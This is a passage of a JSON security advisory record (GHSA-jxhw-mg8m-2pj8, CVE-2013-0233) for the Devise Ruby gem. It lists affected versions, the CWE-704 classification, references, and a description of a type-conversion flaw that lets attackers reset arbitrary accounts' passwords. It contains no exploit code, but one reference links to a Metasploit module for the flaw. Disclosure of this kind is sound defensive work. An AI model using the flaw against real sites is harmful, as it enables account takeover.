        "ecosystem": "RubyGems",
        "name": "devise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-0233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:44:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Devise gem 2.2.x before 2.2.3, 2.1.x before 2.1.3, 2.0.x before 2.0.5, and 1.5.x before 1.5.4 for Ruby, when using certain databases, does not properly perform type conversion when performing database queries, which might allow remote attackers to cause incorrect results to be returned and bypass security checks via unknown vectors, as demonstrated by resetting passwords of arbitrary accounts.",
  "id": "GHSA-jxhw-mg8m-2pj8",
  "modified": "2023-01-23T21:20:12Z",
  "published": "2017-10-24T18:33:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Snorby/snorby/issues/261"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20140726005251/http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200229103406/http://www.securityfocus.com/bid/57577"
    },
    {
      "type": "WEB",
      "url": "http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2013-03/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://www.metasploit.com/modules/auxiliary/admin/http/rails_devise_pass_reset"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/01/29/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Devise does not properly perform type conversion when performing database queries"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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